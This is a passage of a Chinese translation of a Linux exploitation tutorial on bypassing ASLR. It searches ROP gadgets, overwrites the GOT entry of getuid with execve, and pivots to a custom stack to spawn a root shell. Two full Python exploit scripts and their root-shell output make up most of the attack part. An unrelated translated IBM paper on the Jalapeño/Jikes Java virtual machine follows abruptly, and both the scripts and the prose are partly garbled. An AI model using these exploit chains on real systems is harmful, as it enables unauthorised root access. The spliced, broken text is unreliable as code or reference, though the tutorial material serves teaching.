零件 4:通过调用寄存器来调用execve。因此我们需要call *eax零件。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080485bb: calll *%-0x000000E0(%ebx,%esi,4) ; (1 found)
0x080484cf: calll *%eax ; (1 found)
0x0804860b: calll *%eax ; (1 found)
...
$
好的。我们发现了call *eax零件。但是还是因为零件 3popl %eax; ret;没有找到,GOT 解引用也是无法实现的。
栈布局:下面的图片描述了用于完成 GOT 解引用的零件链:
在似乎没有更多方法时(至少对于我来说,当我开始了解 ROP 的时候),Reno 向我介绍了下面的解法,通过手动搜索 ROP 零件。非常感谢,所以继续吧。
手动搜索 ROP 零件
由于 ROP 零件工具不能找到pop eax;ret;零件,让我们手动搜索来寻找,是否能找到任何有趣的零件,能够帮助我们将偏移差复制给 EAX 寄存器。
反汇编二进制vuln(使用下面的命令):
$objdump -d vuln > out
零件 4:使用偏移差0xfffff530加载 EAX。反汇编展示了一个 MOV 指令,它将栈内容复制给 EAX:
80485b3: mov 0x34(%esp),%eax
80485b7: mov %eax,0x4(%esp)
80485bb: call *-0xe0(%ebx,%esi,4)
80485c2: add $0x1,%esi
80485c5: cmp %edi,%esi
80485c7: jne 80485a8 <__libc_csu_init+0x38>
80485c9: add $0x1c,%esp
80485cc: pop %ebx
80485cd: pop %esi
80485ce: pop %edi
80485cf: pop %ebp
80485d0: ret
但是ret(0x80485d0)看起来离这个指令(0x80485b3)很远。所以这里的挑战是,在ret指令之前,我们需要保证 EAX 不被修改。
不修改 EAX:
这里让我们看看如何使 EAX 在ret指令(0x80485d0)之前不被修改。这是一个调用指令(0x80485bb),所以让我们用这种方式来加载 EBX 和 ESI,就是调用指令会调用一个函数,它不修改 EAX。_fini看起来不修改 EAX。
0804861c <_fini>:
804861c: push %ebx
804861d: sub $0x8,%esp
8048620: call 8048625 <_fini+0x9>
8048625: pop %ebx
8048626: add $0x19cf,%ebx
804862c: call 8048450 <__do_global_dtors_aux>
8048631: add $0x8,%esp
8048634: pop %ebx
8048635: ret
08048450 <__do_global_dtors_aux>:
8048450: push %ebp
8048451: mov %esp,%ebp
8048453: push %ebx
8048454: sub $0x4,%esp
8048457: cmpb $0x0,0x804a028
804845e: jne 804849f <__do_global_dtors_aux+0x4f>
...
804849f: add $0x4,%esp
80484a2: pop %ebx
80484a3: pop %ebp
80484a4: ret
_fini调用了_do_global_dtors_aux,在我们将内存地址0x804a028设为 1 的时候,这里 EAX 可以可以保留下来。
为了调用_fini,EBX 和 ESI 的值是什么呢?
首先我们需要寻找一个内存地址,它包含_fini的地址0x804861c。像下面展示的那样,内存地址0x8049f3c包含了_fini地址。
0x8049f28 : 0x00000001 0x00000010 0x0000000c 0x08048354
0x8049f38 <_DYNAMIC+16>: 0x0000000d 0x0804861c 0x6ffffef5 0x080481ac
0x8049f48 <_DYNAMIC+32>: 0x00000005 0x0804826c
将 ESI 设为0x01020101。推荐这个值,因为我们不能将其设为0x0,它是strcpy的漏洞代码,零是坏字符。同样,确保产生的值(储存在 EBX 中)也不包含零。
像下面那样设置 EBX:
ebx+esi*4-0xe0 = 0x8049f3c
ebx = 0x8049f3c -(0x01020101*0x4) + 0xe0
ebx = 0x3fc9c18
因此,我们发现,为了调用_fini,我们需要确保 EBX 和 ESI 分别加载为0x3fc9c18和0x01020101。
同样确保 EAX 不要在_fini的返回处(0x8048635)和返回指令(0x80485d0)之间修改。这可以通过设置edi = esi + 1来实现。如果设置了edi = esi + 1,跳转指令0x80485c7就会确保控制流跳转到0x80485c9的指令。之后我们可以看到,0x80485c9指令到返回指令(0x80485d0)之间,EAX 都不会改动。
零件 5:将 EBX 加载为0x3fc9c18:
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$
零件 6:将 ESI 加载为0x01020101,EDI 加载为0x01020102:
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 3
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
135 found.
A total of 135 gadgets found.
...
0x080485ce: popl %edi ; popl %ebp ; ret ; (1 found)
0x080485cd: popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048390: pushl 0x08049FF8 ; jmpl *0x08049FFC ; (1 found)
...
$
零件 7:将0x1复制到内存地址0x804a028:
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 5
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
183 found.
A total of 183 gadgets found.
...
0x080485ca: les (%ebx,%ebx,2), %ebx ; popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048498: movb $0x00000001, 0x0804A028 ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
0x0804849b: movb 0x83010804, %al ; les (%ebx,%ebx,2), %eax ; popl %ebp ; ret ; (1 found)
...
$
现在我们完成了零件的搜索。让我们开始游戏吧!
零件搜索总结
为了零件 1 的成功调用,我们需要零件 2 和 3。
由于零件 3 不存在,我们执行手动搜索,并找到了零件 4、5、6 和 7。
为了零件 4 的成功调用,我们需要零件 5、6 和 7。
利用代码
下面的利用代码使用execve函数地址覆盖了GOT[getuid]:
#!/usr/bin/env python
import struct
from subprocess import call
'''
G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
G3: 0x????????: popl %eax ; ret ; (NOT found)
G4: 0x080485b3: mov 0x34(%esp),%eax...
G5: 0x08048380: pop ebx ; ret ;
G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
G7: 0x08048498: movb $0x1,0x804a028...
'''
g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530
#endianess convertion
def conv(num):
return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...
for num in range(0,11):
buf += conv(dummy)
buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
buf += "B" * 4
print "Calling vulnerable program"
call(["./vuln", buf])
执行上面的利用代码会生成核心文件。打开核心文件来查看GOT[getuid]被execve函数地址覆盖(在下面展示):
$ python oexp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����BBBB
Len:376
sploitfun@sploitfun-VirtualBox:~/lsploits/new/aslr/part3$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/aslr/part3/vuln...(no debugging symbols found)...done.
(gdb) core-file core
[New LWP 18781]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/1xw 0x804a004
0x804a004 <getuid@got.plt>: 0xb761a1f0
(gdb) p getuid
$1 = {} 0xb761acc0
(gdb) p execve
$2 = {} 0xb761a1f0
(gdb)
好的,我们已经成功将getuid的 GOT 条目覆盖为execve的地址。因为现在为止,任何getuid的调用都会调用execve。
派生 root shell
我们的利用还没完,我们刚刚执行了 GOT 覆盖,还需要派生出 root shell。为了派生 root shell,将下面的 Libc 函数(以及它们的参数)复制到栈上。
seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3
其中:
setuid@PLT:setuid的 PLT 代码地址(0x80483c0)。
getuid@PLT:getuid的 PLT 代码地址(0x80483b0),但是这回调用execve,因为我们已经执行了 GOT 覆盖。
seteuid_arg应该为 0 来获得 root shell。
execve_arg1 – 文件名称 – 字符串/bin/sh的地址。
execve_arg2 – argv – 参数数组的地址,它的内容是[Address of “/bin/sh”, NULL]。
execve_arg3 – envp – NULL。
我们在第五篇中看到,因为我们不能直接使用 0 来溢出缓冲区(因为 0 是坏字符),我们可以使用strcpy链来复制 0 代替seteuid_arg。但是这个解法不能在这里使用,因为栈是随机化的,知道seteuid_arg的栈上位置的准确地址十分困难。
如何绕过栈地址随机化?
可以使用自定义栈和 stack pivot 技巧来绕过它。
什么是自定义栈?
自定义栈是由攻击者控制的栈区域。它复制 Libc 函数链,以及函数参数来绕过栈随机化。由于攻击者选择了任何非位置独立和可写的进程的内存区域作为自定义栈,所以可以绕过。在我们的二进制vuln中,可写和非位置独立的内存区域,是0x804a000和0x804b000(在下面展示):
$ cat /proc//maps
08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
08049000-0804a000 r--p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
b7e21000-b7e22000 rw-p 00000000 00:00 0
b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc5000-b7fc7000 r--p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc8000-b7fcb000 rw-p 00000000 00:00 0
b7fdb000-b7fdd000 rw-p 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
$
例如,包含.data和.bss段的内存区域可以用作自定义栈位置。我选择了0x804a360作为自定义栈位置。
现在选择自定义栈位置之后,我们需要将 Libc 函数链以及它们的函数复制到自定义栈中。我们这里,将下面的 Libc 函数(以及它们的参数)复制到自定义栈位置,以便派生 root shell。
seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3
为了将这些内容复制到栈上,我们需要将实际栈的返回地址,覆盖为一系列strcpy调用。例如,为了将seteuid@PLT (0x80483c0)复制到自定义栈上,我们需要:
四个strcpy调用 – 每个十六进制值(0x08, 0x04, 0x83, 0xc0)使用一个strcpy调用。
strcpy的来源参数应该是可执行内存区域的地址,它包含所需的十六进制值,并且我们也需要确保这个值不被改动,它在所选的内存区域存在。
strcpy的目标参数应该是自定义栈位置的目标地址。
遵循上面的过程,我们就建立了完整的自定义栈。一旦自定义栈建立完成,我们需要将自定义栈移动到真实的栈上,使用 stack pivot 技巧。
什么是 stack pivot?
stack pivot 使用leave ret指令来实现。我们已经知道了,leave指令会翻译为:
mov ebp, esp
pop ebp
所以在leave指令之前,使用自定义栈地址来加载 EBP – 当leave指令执行时,会使 ESP 指向 EBP。所以,在转移到自定义栈之后,我们会继续执行一 Libc 函数序列,它们加载到了自定义栈上,然后就获得了 root shell。
完整的利用代码
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#GOT overwrite using ROP gadgets
'''
G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
G3: 0x????????: popl %eax ; ret ; (NOT found)
G4: 0x080485b3: mov 0x34(%esp),%eax...
G5: 0x08048380: pop ebx ; ret ;
G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
G7: 0x08048498: movb $0x1,0x804a028...
'''
g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530
#Custom Stack
#0x804a360 - Dummy EBP|seteuid@PLT|getuid@PLT|seteuid_arg|execve_arg1|execve_arg2|execve_arg3
cust_esp = 0x804a360 #Custom stack base address
cust_base_esp = 0x804a360 #Custom stack base address
#seteuid@PLT 0x80483c0
seteuid_oct1 = 0x8048143 #08
seteuid_oct2 = 0x8048130 #04
seteuid_oct3 = 0x8048355 #83
seteuid_oct4 = 0x80481cb #c0
#getuid@PLT 0x80483b0
getuid_oct1 = 0x8048143 #08
getuid_oct2 = 0x8048130 #04
getuid_oct3 = 0x8048355 #83
getuid_oct4 = 0x80483dc #b0
#seteuid_arg 0x00000000
seteuid_null_arg = 0x804a360
#execve_arg1 0x804ac60
execve_arg1_oct1 = 0x8048143 #08
execve_arg1_oct2 = 0x8048130 #04
execve_arg1_oct3 = 0x8048f44 #AC
execve_arg1_oct4 = 0x804819a #60
#execve_arg2 0x804ac68
execve_arg2_oct1 = 0x8048143 #08
execve_arg2_oct2 = 0x8048130 #04
execve_arg2_oct3 = 0x8048f44 #AC
execve_arg2_oct4 = 0x80483a6 #68
#execve_arg3 0x00000000
execve_null_arg = 0x804a360
execve_path_dst = 0x804ac60 #Custom stack location which contains execve_path "/bin/sh"
execve_path_oct1 = 0x8048154 #/
execve_path_oct2 = 0x8048157 #b
execve_path_oct3 = 0x8048156 #i
execve_path_oct4 = 0x804815e #n
execve_path_oct5 = 0x8048162 #s
execve_path_oct6 = 0x80483a6 #h
execve_argv_dst = 0x804ac68 #Custom stack location which contains execve_argv [0x804ac60, 0x0]
execve_argv1_oct1 = 0x8048143 #08
execve_argv1_oct2 = 0x8048130 #04
execve_argv1_oct3 = 0x8048f44 #AC
execve_argv1_oct4 = 0x804819a #60
strcpy_plt = 0x80483d0 #strcpy@PLT
ppr_addr = 0x080485ce #popl %edi ; popl %ebp ; ret ;
#Stack Pivot
pr_addr = 0x080484a3 #popl %ebp ; ret ;
lr_addr = 0x08048569 #leave ; ret ;
#endianess convertion
def conv(num):
return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...
for num in range(0,11):
buf += conv(dummy)
buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
#Custom Stack
#Below stack frames are for strcpy (to copy seteuid@PLT to custom stack)
cust_esp += 4 #Increment by 4 to get past Dummy EBP.
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct1)
#Below stack frames are for strcpy (to copy getuid@PLT to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct1)
#Below stack frames are for strcpy (to copy seteuid arg to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
#Below stack frames are for strcpy (to copy execve_arg1 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct1)
#Below stack frames are for strcpy (to copy execve_arg2 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct1)
#Below stack frames are for strcpy (to copy execve_arg3 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
#Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack @ loc 0x804ac60)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct2)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct3)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct4)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct5)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct6)
#Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack @ loc 0x804ac68)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct4)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct3)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct2)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct1)
#Below stack frame is for strcpy (to copy execve argv[1] (0x0) to custom stack @ loc 0x804ac6c)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
#Stack Pivot
buf += conv(pr_addr)
buf += conv(cust_base_esp)
buf += conv(lr_addr)
print "Calling vulnerable program"
call(["./vuln", buf])
执行上述利用代码,我们会获得 root shell(在下面展示):
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����Ѓ΅d�ˁЃ΅e�U�Ѓ΅f�0�Ѓ΅g�C�Ѓ΅h�܃Ѓ΅i�U�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`�Ѓ΅p���Ѓ΅q�Ѓ΅r�0�Ѓ΅s�C�Ѓ΅t���Ѓ΅u�Ѓ΅v�0�Ѓ΅w�C�Ѓ΅x�`�Ѓ΅y�`�Ѓ΅z�`�Ѓ΅{�`�Ѓ΅`�T�Ѓ΅a�W�Ѓ΅b�V�Ѓ΅c�^�Ѓ΅d�T�Ѓ΅e�b�Ѓ΅f���Ѓ΅h���Ѓ΅i�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`���`�i�
Len:1008
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
参考
PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS
Jikes 研究虚拟机(RVM)一 设计和实现问题
Jikes 研究虚拟机(RVM)
Thomas J. Watson 研究中心的 Jalapeno 研究项目的一个独立开发的部分
B. Alpern, , IBM C. R. Attanasio, , IBM J. J. Barton, , IBM M. G. Burke, , IBM P. Cheng, , IBM J.-D. Choi, , IBM A. Cocchi, , IBM S. J. Fink, , IBM D. Grove, , IBM M. Hind, , IBM S. F. Hummel, , IBM D. Lieber, , IBM V. Litvinov, , IBM M. F. Mergen, , IBM T. Ngo, , IBM J. R. Russell, , IBM V. Sarkar, , IBM M. J. Serrano, , IBM J. C. Shepherd, , IBM S. E. Smith, , IBM V. C. Sreedhar, , IBM H. Srinivasan, , IBM J. Whaley, , IBM
2000 年 2 月 02 日
Jikes 研究虚拟机(Jikes Research VirtualMachine(RVM))是为执行这样一种 Java 程序而设计的,这种 Java程序典型地用于研究基本的虚拟机(virtualmachine(VM))设计问题。它为科研院所提供一个灵活的测试平台(testbed),可以在这个测试平台上建立新的虚拟机技术的原型和试验各种各样的设计方案。JikesRVM 运行在 AIX/PowerPC、Linux/PowerPC 和 Linux/IA-32平台上,它包含了动态编译、自适应优化、垃圾回收、线程调度和同步的最新虚拟机技术。JikesRVM 的一大特色是它用 Java编程语言实现并且是自我主机(self-host)的,就是说,Jikes RVM 的Java 代码运行在自身而不需要第二台虚拟机。Jikes RVM 发行版是 IBMThomas J. Watson 研究中心的 Jalapen駉研究项目的一个独立开发的部分。
Jalape�o 是用 Java 语言编写的用于 Java 服务器的虚拟机。为了满足服务器的要求(尤其是性能和可伸缩性),Jalape�o 的设计是“从零做起”的,而且尽可能地自给自足。Jalape�o 的独特的对象模型和内存布局允许硬件空指针检查和数组元素、字段和方法的更快速访问。惯例上由本机代码提供的运行时服务也主要用 Java 实现。Java 线程由虚拟处理器(作为操作系统线程实现)进行多路复用。支持一系列并发对象分配器和一系列并行的类型确切(type-accurate)的垃圾回收器。Jalape�o 的可互操作的编译器使我们能够进行准抢先的线程切换和精确的对象引用定位。Jalape�o 的动态优化编译器是为了获得被认为会频繁执行的或计算密集的方法的优质代码而设计的。
最新一期 IBM 系统杂志中的本文和其它文章集中讲述了为最优化 Java 应用程序性能所做的最新努力。
Jalape�o 是用于服务器的 Java 虚拟机(Java virtual machine(JVM))。服务器上的内存限制不象其它平台那么紧。另一方面,用于服务器的 JVM 必须很好地满足如下这些要求(这些要求在客户机、个人电脑或其它嵌入式 JVM 上没这么严格):
高性能处理器的利用 ― 当前的即时(just-in-time(JIT))编译器并未在利用现代硬件的特性(内存层次结构、指令级并行、多处理器并行等)方面做大量的优化工作,而要获得能与静态编译语言相媲美的性能,就有必要利用这些特性。
SMP 可伸缩性 ― 共享内存多处理器(Shared-memory multiprocessor(SMP))配置在服务器上很流行。有些 JVM 把 Java 线程直接映射到重量级操作系统线程。随着 Java 线程数的增加,这会导致 SMP 上的多线程 Java 程序的可伸缩性很差。
线程限制 ― 很多服务器应用程序都要为每个进入的请求创建新线程。然而,由于操作系统的约束,有些 JVM 无法创建很多的线程,因而只能处理有限数量的同时请求数。这些约束严重制约了需要同时支持成千上万个用户的应用程序。
连续可用性 ― 服务器应用程序必须能在长时间(例如,几个月)的连续运行中满足进入的请求。这看来不是当前的 JVM 优先考虑的问题。
快速响应 ― 多数服务器应用程序都有严格的响应时间要求(例如,至少有 90% 的请求都必须在 1 秒钟内得到服务)。然而,当前的很多 JVM 都使用非增量垃圾回收,导致了严重的响应时间故障。
库的使用 ― 用 Java 代码编写的服务器应用程序典型地建立在现有的库(bean、框架、组件等)的基础上,而不是“从零开始”写起。然而,由于这些库是为处理一般情形编写的,因此它们在当前的 JVM 上性能都很差。
适度的性能降低 ― 当向服务器提出的请求数超出了服务器满足请求的能力时,服务器性能的降低是可以接受的。服务器崩溃是 不能接受的。
在 Jalape�o 中,要求 1 由一个动态优化编译器来满足;对未显现为性能瓶颈的代码,我们提供了较轻量级的编译器。要求 2 和 3 通过 Jalape�o 中轻量级线程的实现来满足。用 Java 语言来实现 Jalape�o 满足了要求 4:Java 的类型安全性有助于写出正确的代码,而 Java 的自动存储管理则防止了“悬摆指针”并减少了“存储泄漏”。我们希望目前正在研究的并发及增量内存管理算法能满足要求 5。要求 6 将通过对 Jalape�o 优化编译器的专门化改造来满足,该编译器将用于库(例如)的动态地编译后的代码修改成服务器应用程序的调用上下文。虽然我们知道没有能保证满足要求 7 的编程方式,我们仍尽量不忽视它。
本文按以下方式组织。下一部分考虑实现问题。接着的部分给出 Jalape�o JVM,包括它的对象模型和内存布局以及运行时子系统、线程和同步子系统、内存管理子系统和编译子系统。接着的几部分研究 Jalape�o 优化编译器,描述 Jalape�o 的当前功能状况并给出一些初步的性能结果,还讨论了相关工作。最后一部分给出我们的结论。包含的两个附录用于解释 Jalape�o 的运行时服务如何为 Jalape�o 用户避开一些 Java 约束而仍然保持该语言的完整性,并描述自举 Jalape�op 的详细过程。
设计和实现问题
